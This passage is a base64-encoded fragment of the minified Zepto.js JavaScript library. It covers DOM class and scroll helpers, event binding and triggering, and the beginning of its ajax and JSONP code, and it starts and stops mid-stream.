XNbMF0pfSxoYXNDbGFzczpmdW5jdGlvbihhKXtyZXR1cm4gYT9lLnNvbWUuY2FsbCh0aGlzLGZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnRlc3QoWihhKSl9LFIoYSkpOiExfSxhZGRDbGFzczpmdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmVhY2goZnVuY3Rpb24oYil7ZD1bXTt2YXIgZT1aKHRoaXMpLGY9WCh0aGlzLGEsYixlKTtmLnNwbGl0KC9ccysvZykuZm9yRWFjaChmdW5jdGlvbihhKXtjKHRoaXMpLmhhc0NsYXNzKGEpfHxkLnB1c2goYSl9LHRoaXMpLGQubGVuZ3RoJiZaKHRoaXMsZSsoZT8iICI6IiIpK2Quam9pbigiICIpKX0pOnRoaXN9LHJlbW92ZUNsYXNzOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oYyl7aWYoYj09PWEpcmV0dXJuIFoodGhpcywiIik7ZD1aKHRoaXMpLFgodGhpcyxiLGMsZCkuc3BsaXQoL1xzKy9nKS5mb3JFYWNoKGZ1bmN0aW9uKGEpe2Q9ZC5yZXBsYWNlKFIoYSksIiAiKX0pLFoodGhpcyxkLnRyaW0oKSl9KX0sdG9nZ2xlQ2xhc3M6ZnVuY3Rpb24oYixkKXtyZXR1cm4gYj90aGlzLmVhY2goZnVuY3Rpb24oZSl7dmFyIGY9Yyh0aGlzKSxnPVgodGhpcyxiLGUsWih0aGlzKSk7Zy5zcGxpdCgvXHMrL2cpLmZvckVhY2goZnVuY3Rpb24oYil7KGQ9PT1hPyFmLmhhc0NsYXNzKGIpOmQpP2YuYWRkQ2xhc3MoYik6Zi5yZW1vdmVDbGFzcyhiKX0pfSk6dGhpc30sc2Nyb2xsVG9wOmZ1bmN0aW9uKGIpe2lmKCF0aGlzLmxlbmd0aClyZXR1cm47dmFyIGM9InNjcm9sbFRvcCJpbiB0aGlzWzBdO3JldHVybiBiPT09YT9jP3RoaXNbMF0uc2Nyb2xsVG9wOnRoaXNbMF0ucGFnZVlPZmZzZXQ6dGhpcy5lYWNoKGM/ZnVuY3Rpb24oKXt0aGlzLnNjcm9sbFRvcD1ifTpmdW5jdGlvbigpe3RoaXMuc2Nyb2xsVG8odGhpcy5zY3JvbGxYLGIpfSl9LHNjcm9sbExlZnQ6ZnVuY3Rpb24oYil7aWYoIXRoaXMubGVuZ3RoKXJldHVybjt2YXIgYz0ic2Nyb2xsTGVmdCJpbiB0aGlzWzBdO3JldHVybiBiPT09YT9jP3RoaXNbMF0uc2Nyb2xsTGVmdDp0aGlzWzBdLnBhZ2VYT2Zmc2V0OnRoaXMuZWFjaChjP2Z1bmN0aW9uKCl7dGhpcy5zY3JvbGxMZWZ0PWJ9OmZ1bmN0aW9uKCl7dGhpcy5zY3JvbGxUbyhiLHRoaXMuc2Nyb2xsWSl9KX0scG9zaXRpb246ZnVuY3Rpb24oKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuO3ZhciBhPXRoaXNbMF0sYj10aGlzLm9mZnNldFBhcmVudCgpLGQ9dGhpcy5vZmZzZXQoKSxlPW8udGVzdChiWzBdLm5vZGVOYW1lKT97dG9wOjAsbGVmdDowfTpiLm9mZnNldCgpO3JldHVybiBkLnRvcC09cGFyc2VGbG9hdChjKGEpLmNzcygibWFyZ2luLXRvcCIpKXx8MCxkLmxlZnQtPXBhcnNlRmxvYXQoYyhhKS5jc3MoIm1hcmdpbi1sZWZ0IikpfHwwLGUudG9wKz1wYXJzZUZsb2F0KGMoYlswXSkuY3NzKCJib3JkZXItdG9wLXdpZHRoIikpfHwwLGUubGVmdCs9cGFyc2VGbG9hdChjKGJbMF0pLmNzcygiYm9yZGVyLWxlZnQtd2lkdGgiKSl8fDAse3RvcDpkLnRvcC1lLnRvcCxsZWZ0OmQubGVmdC1lLmxlZnR9fSxvZmZzZXRQYXJlbnQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXt2YXIgYT10aGlzLm9mZnNldFBhcmVudHx8aC5ib2R5O3doaWxlKGEmJiFvLnRlc3QoYS5ub2RlTmFtZSkmJmMoYSkuY3NzKCJwb3NpdGlvbiIpPT0ic3RhdGljIilhPWEub2Zmc2V0UGFyZW50O3JldHVybiBhfSl9fSxjLmZuLmRldGFjaD1jLmZuLnJlbW92ZSxbIndpZHRoIiwiaGVpZ2h0Il0uZm9yRWFjaChmdW5jdGlvbihiKXt2YXIgZD1iLnJlcGxhY2UoLy4vLGZ1bmN0aW9uKGEpe3JldHVybiBhWzBdLnRvVXBwZXJDYXNlKCl9KTtjLmZuW2JdPWZ1bmN0aW9uKGUpe3ZhciBmLGc9dGhpc1swXTtyZXR1cm4gZT09PWE/SShnKT9nWyJpbm5lciIrZF06SihnKT9nLmRvY3VtZW50RWxlbWVudFsic2Nyb2xsIitkXTooZj10aGlzLm9mZnNldCgpKSYmZltiXTp0aGlzLmVhY2goZnVuY3Rpb24oYSl7Zz1jKHRoaXMpLGcuY3NzKGIsWCh0aGlzLGUsYSxnW2JdKCkpKX0pfX0pLHIuZm9yRWFjaChmdW5jdGlvbihhLGIpe3ZhciBkPWIlMjtjLmZuW2FdPWZ1bmN0aW9uKCl7dmFyIGEsZT1jLm1hcChhcmd1bWVudHMsZnVuY3Rpb24oYil7cmV0dXJuIGE9RyhiKSxhPT0ib2JqZWN0Inx8YT09ImFycmF5Inx8Yj09bnVsbD9iOkIuZnJhZ21lbnQoYil9KSxmLGc9dGhpcy5sZW5ndGg+MTtyZXR1cm4gZS5sZW5ndGg8MT90aGlzOnRoaXMuZWFjaChmdW5jdGlvbihhLGgpe2Y9ZD9oOmgucGFyZW50Tm9kZSxoPWI9PTA/aC5uZXh0U2libGluZzpiPT0xP2guZmlyc3RDaGlsZDpiPT0yP2g6bnVsbCxlLmZvckVhY2goZnVuY3Rpb24oYSl7aWYoZylhPWEuY2xvbmVOb2RlKCEwKTtlbHNlIGlmKCFmKXJldHVybiBjKGEpLnJlbW92ZSgpO18oZi5pbnNlcnRCZWZvcmUoYSxoKSxmdW5jdGlvbihhKXthLm5vZGVOYW1lIT1udWxsJiZhLm5vZGVOYW1lLnRvVXBwZXJDYXNlKCk9PT0iU0NSSVBUIiYmKCFhLnR5cGV8fGEudHlwZT09PSJ0ZXh0L2phdmFzY3JpcHQiKSYmIWEuc3JjJiZ3aW5kb3cuZXZhbC5jYWxsKHdpbmRvdyxhLmlubmVySFRNTCl9KX0pfSl9LGMuZm5bZD9hKyJUbyI6Imluc2VydCIrKGI/IkJlZm9yZSI6IkFmdGVyIildPWZ1bmN0aW9uKGIpe3JldHVybiBjKGIpW2FdKHRoaXMpLHRoaXN9fSksQi5aLnByb3RvdHlwZT1jLmZuLEIudW5pcT1ELEIuZGVzZXJpYWxpemVWYWx1ZT0kLGMuemVwdG89QixjfSgpO3dpbmRvdy5aZXB0bz1aZXB0byx3aW5kb3cuJD09PXVuZGVmaW5lZCYmKHdpbmRvdy4kPVplcHRvKSxmdW5jdGlvbihhKXtmdW5jdGlvbiBtKGEpe3JldHVybiBhLl96aWR8fChhLl96aWQ9YysrKX1mdW5jdGlvbiBuKGEsYixjLGQpe2I9byhiKTtpZihiLm5zKXZhciBlPXAoYi5ucyk7cmV0dXJuKGhbbShhKV18fFtdKS5maWx0ZXIoZnVuY3Rpb24oYSl7cmV0dXJuIGEmJighYi5lfHxhLmU9PWIuZSkmJighYi5uc3x8ZS50ZXN0KGEubnMpKSYmKCFjfHxtKGEuZm4pPT09bShjKSkmJighZHx8YS5zZWw9PWQpfSl9ZnVuY3Rpb24gbyhhKXt2YXIgYj0oIiIrYSkuc3BsaXQoIi4iKTtyZXR1cm57ZTpiWzBdLG5zOmIuc2xpY2UoMSkuc29ydCgpLmpvaW4oIiAiKX19ZnVuY3Rpb24gcChhKXtyZXR1cm4gbmV3IFJlZ0V4cCgiKD86XnwgKSIrYS5yZXBsYWNlKCIgIiwiIC4qID8iKSsiKD86IHwkKSIpfWZ1bmN0aW9uIHEoYSxiKXtyZXR1cm4gYS5kZWwmJiFqJiZhLmUgaW4ga3x8ISFifWZ1bmN0aW9uIHIoYSl7cmV0dXJuIGxbYV18fGomJmtbYV18fGF9ZnVuY3Rpb24gcyhiLGMsZSxmLGcsaSxqKXt2YXIgaz1tKGIpLG49aFtrXXx8KGhba109W10pO2Muc3BsaXQoL1xzLykuZm9yRWFjaChmdW5jdGlvbihjKXtpZihjPT0icmVhZHkiKXJldHVybiBhKGRvY3VtZW50KS5yZWFkeShlKTt2YXIgaD1vKGMpO2guZm49ZSxoLnNlbD1nLGguZSBpbiBsJiYoZT1mdW5jdGlvbihiKXt2YXIgYz1iLnJlbGF0ZWRUYXJnZXQ7aWYoIWN8fGMhPT10aGlzJiYhYS5jb250YWlucyh0aGlzLGMpKXJldHVybiBoLmZuLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0pLGguZGVsPWk7dmFyIGs9aXx8ZTtoLnByb3h5PWZ1bmN0aW9uKGEpe2E9eShhKTtpZihhLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpcmV0dXJuO2EuZGF0YT1mO3ZhciBjPWsuYXBwbHkoYixhLl9hcmdzPT1kP1thXTpbYV0uY29uY2F0KGEuX2FyZ3MpKTtyZXR1cm4gYz09PSExJiYoYS5wcmV2ZW50RGVmYXVsdCgpLGEuc3RvcFByb3BhZ2F0aW9uKCkpLGN9LGguaT1uLmxlbmd0aCxuLnB1c2goaCksImFkZEV2ZW50TGlzdGVuZXIiaW4gYiYmYi5hZGRFdmVudExpc3RlbmVyKHIoaC5lKSxoLnByb3h5LHEoaCxqKSl9KX1mdW5jdGlvbiB0KGEsYixjLGQsZSl7dmFyIGY9bShhKTsoYnx8IiIpLnNwbGl0KC9ccy8pLmZvckVhY2goZnVuY3Rpb24oYil7bihhLGIsYyxkKS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2RlbGV0ZSBoW2ZdW2IuaV0sInJlbW92ZUV2ZW50TGlzdGVuZXIiaW4gYSYmYS5yZW1vdmVFdmVudExpc3RlbmVyKHIoYi5lKSxiLnByb3h5LHEoYixlKSl9KX0pfWZ1bmN0aW9uIHkoYixjKXtpZihjfHwhYi5pc0RlZmF1bHRQcmV2ZW50ZWQpe2N8fChjPWIpLGEuZWFjaCh4LGZ1bmN0aW9uKGEsZCl7dmFyIGU9Y1thXTtiW2FdPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXNbZF09dSxlJiZlLmFwcGx5KGMsYXJndW1lbnRzKX0sYltkXT12fSk7aWYoYy5kZWZhdWx0UHJldmVudGVkIT09ZD9jLmRlZmF1bHRQcmV2ZW50ZWQ6InJldHVyblZhbHVlImluIGM/Yy5yZXR1cm5WYWx1ZT09PSExOmMuZ2V0UHJldmVudERlZmF1bHQmJmMuZ2V0UHJldmVudERlZmF1bHQoKSliLmlzRGVmYXVsdFByZXZlbnRlZD11fXJldHVybiBifWZ1bmN0aW9uIHooYSl7dmFyIGIsYz17b3JpZ2luYWxFdmVudDphfTtmb3IoYiBpbiBhKSF3LnRlc3QoYikmJmFbYl0hPT1kJiYoY1tiXT1hW2JdKTtyZXR1cm4geShjLGEpfXZhciBiPWEuemVwdG8ucXNhLGM9MSxkLGU9QXJyYXkucHJvdG90eXBlLnNsaWNlLGY9YS5pc0Z1bmN0aW9uLGc9ZnVuY3Rpb24oYSl7cmV0dXJuIHR5cGVvZiBhPT0ic3RyaW5nIn0saD17fSxpPXt9LGo9Im9uZm9jdXNpbiJpbiB3aW5kb3csaz17Zm9jdXM6ImZvY3VzaW4iLGJsdXI6ImZvY3Vzb3V0In0sbD17bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCJ9O2kuY2xpY2s9aS5tb3VzZWRvd249aS5tb3VzZXVwPWkubW91c2Vtb3ZlPSJNb3VzZUV2ZW50cyIsYS5ldmVudD17YWRkOnMscmVtb3ZlOnR9LGEucHJveHk9ZnVuY3Rpb24oYixjKXtpZihmKGIpKXt2YXIgZD1mdW5jdGlvbigpe3JldHVybiBiLmFwcGx5KGMsYXJndW1lbnRzKX07cmV0dXJuIGQuX3ppZD1tKGIpLGR9aWYoZyhjKSlyZXR1cm4gYS5wcm94eShiW2NdLGIpO3Rocm93IG5ldyBUeXBlRXJyb3IoImV4cGVjdGVkIGZ1bmN0aW9uIil9LGEuZm4uYmluZD1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYSxiLGMpfSxhLmZuLnVuYmluZD1mdW5jdGlvbihhLGIpe3JldHVybiB0aGlzLm9mZihhLGIpfSxhLmZuLm9uZT1mdW5jdGlvbihhLGIsYyxkKXtyZXR1cm4gdGhpcy5vbihhLGIsYyxkLDEpfTt2YXIgdT1mdW5jdGlvbigpe3JldHVybiEwfSx2PWZ1bmN0aW9uKCl7cmV0dXJuITF9LHc9L14oW0EtWl18cmV0dXJuVmFsdWUkfGxheWVyW1hZXSQpLyx4PXtwcmV2ZW50RGVmYXVsdDoiaXNEZWZhdWx0UHJldmVudGVkIixzdG9wSW1tZWRpYXRlUHJvcGFnYXRpb246ImlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkIixzdG9wUHJvcGFnYXRpb246ImlzUHJvcGFnYXRpb25TdG9wcGVkIn07YS5mbi5kZWxlZ2F0ZT1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYixhLGMpfSxhLmZuLnVuZGVsZWdhdGU9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiB0aGlzLm9mZihiLGEsYyl9LGEuZm4ubGl2ZT1mdW5jdGlvbihiLGMpe3JldHVybiBhKGRvY3VtZW50LmJvZHkpLmRlbGVnYXRlKHRoaXMuc2VsZWN0b3IsYixjKSx0aGlzfSxhLmZuLmRpZT1mdW5jdGlvbihiLGMpe3JldHVybiBhKGRvY3VtZW50LmJvZHkpLnVuZGVsZWdhdGUodGhpcy5zZWxlY3RvcixiLGMpLHRoaXN9LGEuZm4ub249ZnVuY3Rpb24oYixjLGgsaSxqKXt2YXIgayxsLG09dGhpcztpZihiJiYhZyhiKSlyZXR1cm4gYS5lYWNoKGIsZnVuY3Rpb24oYSxiKXttLm9uKGEsYyxoLGIsail9KSxtOyFnKGMpJiYhZihpKSYmaSE9PSExJiYoaT1oLGg9YyxjPWQpO2lmKGYoaCl8fGg9PT0hMSlpPWgsaD1kO3JldHVybiBpPT09ITEmJihpPXYpLG0uZWFjaChmdW5jdGlvbihkLGYpe2omJihrPWZ1bmN0aW9uKGEpe3JldHVybiB0KGYsYS50eXBlLGkpLGkuYXBwbHkodGhpcyxhcmd1bWVudHMpfSksYyYmKGw9ZnVuY3Rpb24oYil7dmFyIGQsZz1hKGIudGFyZ2V0KS5jbG9zZXN0KGMsZikuZ2V0KDApO2lmKGcmJmchPT1mKXJldHVybiBkPWEuZXh0ZW5kKHooYikse2N1cnJlbnRUYXJnZXQ6ZyxsaXZlRmlyZWQ6Zn0pLChrfHxpKS5hcHBseShnLFtkXS5jb25jYXQoZS5jYWxsKGFyZ3VtZW50cywxKSkpfSkscyhmLGIsaSxoLGMsbHx8ayl9KX0sYS5mbi5vZmY9ZnVuY3Rpb24oYixjLGUpe3ZhciBoPXRoaXM7cmV0dXJuIGImJiFnKGIpPyhhLmVhY2goYixmdW5jdGlvbihhLGIpe2gub2ZmKGEsYyxiKX0pLGgpOighZyhjKSYmIWYoZSkmJmUhPT0hMSYmKGU9YyxjPWQpLGU9PT0hMSYmKGU9diksaC5lYWNoKGZ1bmN0aW9uKCl7dCh0aGlzLGIsZSxjKX0pKX0sYS5mbi50cmlnZ2VyPWZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9ZyhiKXx8YS5pc1BsYWluT2JqZWN0KGIpP2EuRXZlbnQoYik6eShiKSxiLl9hcmdzPWMsdGhpcy5lYWNoKGZ1bmN0aW9uKCl7ImRpc3BhdGNoRXZlbnQiaW4gdGhpcz90aGlzLmRpc3BhdGNoRXZlbnQoYik6YSh0aGlzKS50cmlnZ2VySGFuZGxlcihiLGMpfSl9LGEuZm4udHJpZ2dlckhhbmRsZXI9ZnVuY3Rpb24oYixjKXt2YXIgZCxlO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZixoKXtkPXooZyhiKT9hLkV2ZW50KGIpOmIpLGQuX2FyZ3M9YyxkLnRhcmdldD1oLGEuZWFjaChuKGgsYi50eXBlfHxiKSxmdW5jdGlvbihhLGIpe2U9Yi5wcm94eShkKTtpZihkLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpcmV0dXJuITF9KX0pLGV9LCJmb2N1c2luIGZvY3Vzb3V0IGxvYWQgcmVzaXplIHNjcm9sbCB1bmxvYWQgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBrZXlkb3duIGtleXByZXNzIGtleXVwIGVycm9yIi5zcGxpdCgiICIpLmZvckVhY2goZnVuY3Rpb24oYil7YS5mbltiXT1mdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmJpbmQoYixhKTp0aGlzLnRyaWdnZXIoYil9fSksWyJmb2N1cyIsImJsdXIiXS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2EuZm5bYl09ZnVuY3Rpb24oYSl7cmV0dXJuIGE/dGhpcy5iaW5kKGIsYSk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dHJ5e3RoaXNbYl0oKX1jYXRjaChhKXt9fSksdGhpc319KSxhLkV2ZW50PWZ1bmN0aW9uKGEsYil7ZyhhKXx8KGI9YSxhPWIudHlwZSk7dmFyIGM9ZG9jdW1lbnQuY3JlYXRlRXZlbnQoaVthXXx8IkV2ZW50cyIpLGQ9ITA7aWYoYilmb3IodmFyIGUgaW4gYillPT0iYnViYmxlcyI/ZD0hIWJbZV06Y1tlXT1iW2VdO3JldHVybiBjLmluaXRFdmVudChhLGQsITApLHkoYyl9fShaZXB0byksZnVuY3Rpb24oJCl7ZnVuY3Rpb24gdHJpZ2dlckFuZFJldHVybihhLGIsYyl7dmFyIGQ9JC5FdmVudChiKTtyZXR1cm4gJChhKS50cmlnZ2VyKGQsYyksIWQuaXNEZWZhdWx0UHJldmVudGVkKCl9ZnVuY3Rpb24gdHJpZ2dlckdsb2JhbChhLGIsYyxkKXtpZihhLmdsb2JhbClyZXR1cm4gdHJpZ2dlckFuZFJldHVybihifHxkb2N1bWVudCxjLGQpfWZ1bmN0aW9uIGFqYXhTdGFydChhKXthLmdsb2JhbCYmJC5hY3RpdmUrKz09PTAmJnRyaWdnZXJHbG9iYWwoYSxudWxsLCJhamF4U3RhcnQiKX1mdW5jdGlvbiBhamF4U3RvcChhKXthLmdsb2JhbCYmIS0tJC5hY3RpdmUmJnRyaWdnZXJHbG9iYWwoYSxudWxsLCJhamF4U3RvcCIpfWZ1bmN0aW9uIGFqYXhCZWZvcmVTZW5kKGEsYil7dmFyIGM9Yi5jb250ZXh0O2lmKGIuYmVmb3JlU2VuZC5jYWxsKGMsYSxiKT09PSExfHx0cmlnZ2VyR2xvYmFsKGIsYywiYWpheEJlZm9yZVNlbmQiLFthLGJdKT09PSExKXJldHVybiExO3RyaWdnZXJHbG9iYWwoYixjLCJhamF4U2VuZCIsW2EsYl0pfWZ1bmN0aW9uIGFqYXhTdWNjZXNzKGEsYixjLGQpe3ZhciBlPWMuY29udGV4dCxmPSJzdWNjZXNzIjtjLnN1Y2Nlc3MuY2FsbChlLGEsZixiKSxkJiZkLnJlc29sdmVXaXRoKGUsW2EsZixiXSksdHJpZ2dlckdsb2JhbChjLGUsImFqYXhTdWNjZXNzIixbYixjLGFdKSxhamF4Q29tcGxldGUoZixiLGMpfWZ1bmN0aW9uIGFqYXhFcnJvcihhLGIsYyxkLGUpe3ZhciBmPWQuY29udGV4dDtkLmVycm9yLmNhbGwoZixjLGIsYSksZSYmZS5yZWplY3RXaXRoKGYsW2MsYixhXSksdHJpZ2dlckdsb2JhbChkLGYsImFqYXhFcnJvciIsW2MsZCxhfHxiXSksYWpheENvbXBsZXRlKGIsYyxkKX1mdW5jdGlvbiBhamF4Q29tcGxldGUoYSxiLGMpe3ZhciBkPWMuY29udGV4dDtjLmNvbXBsZXRlLmNhbGwoZCxiLGEpLHRyaWdnZXJHbG9iYWwoYyxkLCJhamF4Q29tcGxldGUiLFtiLGNdKSxhamF4U3RvcChjKX1mdW5jdGlvbiBlbXB0eSgpe31mdW5jdGlvbiBtaW1lVG9EYXRhVHlwZShhKXtyZXR1cm4gYSYmKGE9YS5zcGxpdCgiOyIsMilbMF0pLGEmJihhPT1odG1sVHlwZT8iaHRtbCI6YT09anNvblR5cGU/Impzb24iOnNjcmlwdFR5cGVSRS50ZXN0KGEpPyJzY3JpcHQiOnhtbFR5cGVSRS50ZXN0KGEpJiYieG1sIil8fCJ0ZXh0In1mdW5jdGlvbiBhcHBlbmRRdWVyeShhLGIpe3JldHVybiBiPT0iIj9hOihhKyImIitiKS5yZXBsYWNlKC9bJj9dezEsMn0vLCI/Iil9ZnVuY3Rpb24gc2VyaWFsaXplRGF0YShhKXthLnByb2Nlc3NEYXRhJiZhLmRhdGEmJiQudHlwZShhLmRhdGEpIT0ic3RyaW5nIiYmKGEuZGF0YT0kLnBhcmFtKGEuZGF0YSxhLnRyYWRpdGlvbmFsKSksYS5kYXRhJiYoIWEudHlwZXx8YS50eXBlLnRvVXBwZXJDYXNlKCk9PSJHRVQiKSYmKGEudXJsPWFwcGVuZFF1ZXJ5KGEudXJsLGEuZGF0YSksYS5kYXRhPXVuZGVmaW5lZCl9ZnVuY3Rpb24gcGFyc2VBcmd1bWVudHMoYSxiLGMsZCl7dmFyIGU9ISQuaXNGdW5jdGlvbihiKTtyZXR1cm57dXJsOmEsZGF0YTplP2I6dW5kZWZpbmVkLHN1Y2Nlc3M6ZT8kLmlzRnVuY3Rpb24oYyk/Yzp1bmRlZmluZWQ6YixkYXRhVHlwZTplP2R8fGM6Y319ZnVuY3Rpb24gc2VyaWFsaXplKGEsYixjLGQpe3ZhciBlLGY9JC5pc0FycmF5KGIpLGc9JC5pc1BsYWluT2JqZWN0KGIpOyQuZWFjaChiLGZ1bmN0aW9uKGIsaCl7ZT0kLnR5cGUoaCksZCYmKGI9Yz9kOmQrIlsiKyhnfHxlPT0ib2JqZWN0Inx8ZT09ImFycmF5Ij9iOiIiKSsiXSIpLCFkJiZmP2EuYWRkKGgubmFtZSxoLnZhbHVlKTplPT0iYXJyYXkifHwhYyYmZT09Im9iamVjdCI/c2VyaWFsaXplKGEsaCxjLGIpOmEuYWRkKGIsaCl9KX12YXIganNvbnBJRD0wLGRvY3VtZW50PXdpbmRvdy5kb2N1bWVudCxrZXksbmFtZSxyc2NyaXB0PS88c2NyaXB0XGJbXjxdKig/Oig/ITxcL3NjcmlwdD4pPFtePF0qKSo8XC9zY3JpcHQ+L2dpLHNjcmlwdFR5cGVSRT0vXig/OnRleHR8YXBwbGljYXRpb24pXC9qYXZhc2NyaXB0L2kseG1sVHlwZVJFPS9eKD86dGV4dHxhcHBsaWNhdGlvbilcL3htbC9pLGpzb25UeXBlPSJhcHBsaWNhdGlvbi9qc29uIixodG1sVHlwZT0idGV4dC9odG1sIixibGFua1JFPS9eXHMqJC87JC5hY3RpdmU9MCwkLmFqYXhKU09OUD1mdW5jdGlvbihhLGIpe2lmKCJ0eXBlImluIGEpe3ZhciBjPWEuanNvbnBDYWxsYmFjayxkPSgkLmlzRnVuY3Rpb24oYyk/YygpOmMpfHwianNvbnAiKyArK2pzb25wSUQsZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKSxmPXdpbmRvd1tkXSxnLGg9ZnVuY3Rpb24oYSl7JChlKS50cmlnZ2VySGFuZGxlcigiZXJyb3IiLGF8fCJhYm9ydCIpfSxpPXthYm9ydDpofSxqO3JldHVybiBiJiZiLnByb21pc2UoaSksJChlKS5vbigibG9hZCBlcnJvciIsZnVuY3Rpb24oYyxoKXtjbGVhclRpbWVvdXQoaiksJChlKS5vZmYoKS5yZW1vdmUoKSxjLnR5cGU9PSJlcnJvciJ8fCFnP2FqYXhFcnJvcihudWxsLGh8fCJlcnJvciIsaSxhLGIpOmFqYXhTdWNjZXNzKGdbMF0saSxhLGIpLHdpbmRvd1tkXT1mLGcmJiQuaXNGdW5jdGlvbihmKSYmZihnWzBdKSxmPWc9dW5kZWZpbmVkfSksYWpheEJlZm9yZVNlbmQoaSxhKT09PSExPyhoKCJhYm9ydCIpLGkpOih3aW5kb3dbZF09ZnVuY3Rpb24oKXtnPWFyZ3VtZW50c30sZS5zcmM9YS51cmwucmVwbGFjZSgvPVw/LywiPSIrZCksZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChlKSxhLnRpbWVvdXQ+MCYmKGo9c2V0VGltZW91dChmdW5jdGlvbigpe2goInRpbWVvdXQiKX0sYS50aW1lb3V0KSksaSl9cmV0dXJuICQuYWpheChhKX0sJC5hamF4U2V0dGluZ3M9e3R5cGU6IkdFVCIsYmVmb3JlU2VuZDplbXB0eSxzdWNjZXNzOmVtcHR5LGVycm9yOmVtcHR5LGNvbXBsZXRlOmVtcHR5LGNvbnRleHQ6bnVsbCxnbG9iYWw6ITAseGhyOmZ1bmN0aW9uKCl7cmV0dXJuIG5ldyB3aW5kb3cuWE1MSHR0cFJlcXVlc3R9LGFjY2VwdHM6e3NjcmlwdDoidGV4dC9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiLGpzb246anNvblR5cGUseG1sOiJhcHBsaWNhdGlvbi94bWwsIHRleHQveG1sIixodG1sOmh0bWxUeXBlLHRleHQ6InRleHQvcGxhaW4ifSxjcm9zc0RvbWFpbjohMSx0aW1lb3V0OjAscHJvY2Vzc0RhdGE6ITAsY2FjaGU6ITB9LCQuYWpheD1mdW5jdGlvbihvcHRpb25zKXt2YXIgc2V0dGluZ3M9JC5leHRlbmQoe30sb3B0aW9uc3x8e30pLGRlZmVycmVkPSQuRGVmZXJyZWQmJiQuRGVmZXJyZWQoKTtmb3Ioa2V5IGluICQuYWpheFNldHRpbmdzKXNldHRpbmdzW2tleV09PT11bmRlZmluZWQmJihzZXR0aW5nc1trZXldPSQuYWpheFNldHRpbmdzW2tleV0pO2FqYXhTdGFydChzZXR0aW5ncyksc2V0dGluZ3MuY3Jvc3NEb21haW58fChzZXR0aW5ncy5jcm9zc0RvbWFpbj0vXihbXHctXSs6KT9cL1wvKFteXC9dKykvLnRlc3Qoc2V0dGluZ3MudXJsKSYmUmVnRXhwLiQyIT13aW5kb3cubG9jYXRpb24uaG9zdCksc2V0dGluZ3MudXJsfHwoc2V0dGluZ3MudXJsPXdpbmRvdy5sb2NhdGlvbi50b1N0cmluZygpKSxzZXJpYWxpemVEYXRhKHNldHRpbmdzKSxzZXR0aW5ncy5jYWNoZT09PSExJiYoc2V0dGluZ3MudXJsPWFwcGVuZFF1ZXJ5KHNldHRpbmdzLnVybCwiXz0iK0RhdGUubm93KCkpKTt2YXIgZGF0YVR5cGU9c2V0dGluZ3MuZGF0YVR5cGUsaGFzUGxhY2Vob2xkZXI9Lz1cPy8udGVzdChzZXR0aW5ncy51cmwpO2lmKGRhdGFUeXBlPT0ianNvbnAifHxoYXNQbGFjZWhvbGRlcilyZXR1cm4gaGFzUGxhY2Vob2xkZXJ8fChzZXR0aW5ncy51cmw9YXBwZW5kUXVlcnkoc2V0dGluZ3MudXJsLHNldHRpbmdzLmpzb25wP3NldHRpbmdzLmpzb25wKyI9PyI6c2V0dGluZ3MuanNvbnA9PT0hMT8iIjoiY2FsbGJhY2s9PyIpKSwkLmFqYXhKU09OUChzZXR0aW5ncyxkZWZlcnJlZCk7dmFyIG1pbWU9c2V0dGluZ3MuYWNjZXB0c1tkYXRhVHlwZV0saGVhZGVycz17fSxzZXRIZWFkZXI9ZnVuY3Rpb24oYSxiKXtoZWFkZXJzW2EudG9Mb3dlckNhc2UoKV09W2EsYl19LHByb3RvY29sPS9eKFtcdy1dKzopXC9cLy8udGVzdChzZXR0aW5ncy51cmwpP1JlZ0V4cC4kMTp3aW5kb3cubG9jYXRpb24ucHJvdG9jb2wseGhyPXNldHRpbmdzLnhocigpLG5hdGl2ZVNldEhlYWRlcj14aHIuc2V0UmVxdWVzdEhlYWRlcixhYm9ydFRpbWVvdXQ7ZGVmZXJyZWQmJmRlZmVycmVkLnByb21pc2UoeGhyKSxzZXR0aW5ncy5jcm9zc0RvbWFpbnx8c2V0SGVhZGVyKCJYLVJlcXVlc3RlZC1XaXRoIiwiWE1MSHR0cFJlcXVlc3QiKSxzZXRIZWFkZXIoIkFjY2VwdCIsbWltZXx8IiovKiIpO2lmKG1pbWU9c2V0dGluZ3MubWltZVR5cGV8fG1pbWUpbWltZS5pbmRleE9mKCIsIik+LTEmJihtaW1lPW1pbWUuc3BsaXQoIiwiLDIpWzBdKSx4aHIub3ZlcnJpZGVNaW1lVHlwZSYmeGhyLm92ZXJyaWRlTWltZVR5cGUobWltZSk7KHNldHRpbmdzLmNvbnRlbnRUeXBlfHxzZXR0aW5ncy5jb250ZW50VHlwZSE9PSExJiZzZXR0aW5ncy5kYXRhJiZzZXR0aW5ncy50eXBlLnRvVXBwZXJDYXNlKCkhPSJHRVQiKSYmc2V0SGVhZGVyKCJDb250ZW50LVR5cGUiLHNldHRpbmdzLmNvbnR